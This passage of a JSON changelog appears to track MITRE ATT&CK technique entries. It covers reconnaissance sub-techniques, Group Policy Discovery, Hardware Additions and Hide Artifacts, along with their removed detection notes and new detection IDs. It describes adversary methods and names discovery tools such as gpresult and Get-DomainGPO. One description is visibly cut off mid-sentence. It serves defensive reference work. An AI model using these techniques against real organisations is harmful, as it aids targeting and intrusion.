+ "description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1590/004",
+ "external_id": "T1590.004"
+ },
+ {
+ "source_name": "DNS Dumpster",
+ "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
+ "url": "https://dnsdumpster.com/"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.652000+00:00\", \"old_value\": \"2025-04-15 22:52:48.199000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
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+ "changelog_mitigations": {
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+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0819: Detection of Network Topology"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 15:47:59.457000+00:00",
+ "modified": "2025-10-24 17:48:38.803000+00:00",
+ "name": "Network Trust Dependencies",
+ "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1590/003",
+ "external_id": "T1590.003"
+ },
+ {
+ "source_name": "Pentesting AD Forests",
+ "description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.",
+ "url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019"
+ }
+ ],
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+ "x_mitre_detection": "",
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0828: Detection of Network Trust Dependencies"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:27:02.339000+00:00",
+ "modified": "2025-10-24 17:49:06.846000+00:00",
+ "name": "Gather Victim Org Information",
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1591",
+ "external_id": "T1591"
+ },
+ {
+ "source_name": "ThreatPost Broadvoice Leak",
+ "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
+ "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
+ },
+ {
+ "source_name": "SEC EDGAR Search",
+ "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.",
+ "url": "https://www.sec.gov/edgar/search/"
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+ "changelog_mitigations": {
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+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
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+ },
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+ "shared": [],
+ "new": [
+ "DET0890: Detection of Gather Victim Org Information"
+ ],
+ "dropped": []
+ }
+ },
+ {
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+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1591/002",
+ "external_id": "T1591.002"
+ },
+ {
+ "source_name": "ThreatPost Broadvoice Leak",
+ "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
+ "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
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+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.897000+00:00\", \"old_value\": \"2025-04-15 21:54:59.306000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
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+ "changelog_mitigations": {
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+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0855: Detection of Business Relationships"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:32:33.126000+00:00",
+ "modified": "2025-10-24 17:49:34.503000+00:00",
+ "name": "Determine Physical Locations",
+ "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1591/001",
+ "external_id": "T1591.001"
+ },
+ {
+ "source_name": "ThreatPost Broadvoice Leak",
+ "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
+ "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
+ },
+ {
+ "source_name": "SEC EDGAR Search",
+ "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.",
+ "url": "https://www.sec.gov/edgar/search/"
+ }
+ ],
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+ ],
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.503000+00:00\", \"old_value\": \"2025-04-15 22:16:44.365000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0806: Detection of Determine Physical Locations"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:34:32.435000+00:00",
+ "modified": "2025-10-24 17:48:31.764000+00:00",
+ "name": "Identify Business Tempo",
+ "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1591/003",
+ "external_id": "T1591.003"
+ },
+ {
+ "source_name": "ThreatPost Broadvoice Leak",
+ "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
+ "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
+ }
+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.764000+00:00\", \"old_value\": \"2025-04-15 22:40:43.647000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0849: Detection of Identify Business Tempo"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:37:30.015000+00:00",
+ "modified": "2025-10-24 17:49:23.837000+00:00",
+ "name": "Identify Roles",
+ "description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
+ "kill_chain_phases": [
+ {
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+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1591/004",
+ "external_id": "T1591.004"
+ },
+ {
+ "source_name": "ThreatPost Broadvoice Leak",
+ "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
+ "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.837000+00:00\", \"old_value\": \"2025-04-15 22:40:57.270000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0807: Detection of Identify Roles"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-08-06 13:10:12.916000+00:00",
+ "modified": "2025-10-24 17:48:28.148000+00:00",
+ "name": "Group Policy Discovery",
+ "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1615",
+ "external_id": "T1615"
+ },
+ {
+ "source_name": "ADSecurity GPO Persistence 2016",
+ "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
+ "url": "https://adsecurity.org/?p=2716"
+ },
+ {
+ "source_name": "Microsoft gpresult",
+ "description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult"
+ },
+ {
+ "source_name": "Github PowerShell Empire",
+ "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
+ "url": "https://github.com/PowerShellEmpire/Empire"
+ },
+ {
+ "source_name": "TechNet Group Policy Basics",
+ "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
+ "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Ted Samuels, Rapid7",
+ "Jonhnathan Ribeiro, 3CORESec, @_w0rk3r"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Active Directory: Active Directory Object Access\", \"Process: Process Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.148000+00:00\", \"old_value\": \"2025-04-15 22:38:54.812000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\\n\\nMonitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\\n-\\n-Monitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0012: Script (Script Execution)",
+ "DS0017: Command (Command Execution)",
+ "DS0026: Active Directory (Active Directory Object Access)",
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0055: Detection strategy for Group Policy Discovery on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-04-18 17:59:24.739000+00:00",
+ "modified": "2025-10-24 17:49:26.803000+00:00",
+ "name": "Hardware Additions",
+ "description": "Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "initial-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1200",
+ "external_id": "T1200"
+ },
+ {
+ "source_name": "Ossmann Star Feb 2011",
+ "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.",
+ "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html"
+ },
+ {
+ "source_name": "Aleks Weapons Nov 2015",
+ "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.",
+ "url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ"
+ },
+ {
+ "source_name": "McMillan Pwn March 2012",
+ "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.",
+ "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"
+ },
+ {
+ "source_name": "Frisk DMA August 2016",
+ "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.",
+ "url": "https://www.youtube.com/watch?v=fXthwl6ShOg"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "1.7",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Drive: Drive Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.803000+00:00\", \"old_value\": \"2025-04-15 19:59:11.434000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \\n\\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \\n-\\n-Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\"}}}",
+ "previous_version": "1.7",
+ "changelog_mitigations": {
+ "shared": [
+ "M1034: Limit Hardware Installation",
+ "M1035: Limit Access to Resource Over Network"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0016: Drive (Drive Creation)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0069: Detect unauthorized or suspicious Hardware Additions (USB/Thunderbolt/Network)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-26 17:41:25.933000+00:00",
+ "modified": "2025-10-24 17:48:31.407000+00:00",
+ "name": "Hide Artifacts",
+ "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564",
+ "external_id": "T1564"
+ },
+ {
+ "source_name": "Cybereason OSX Pirrit",
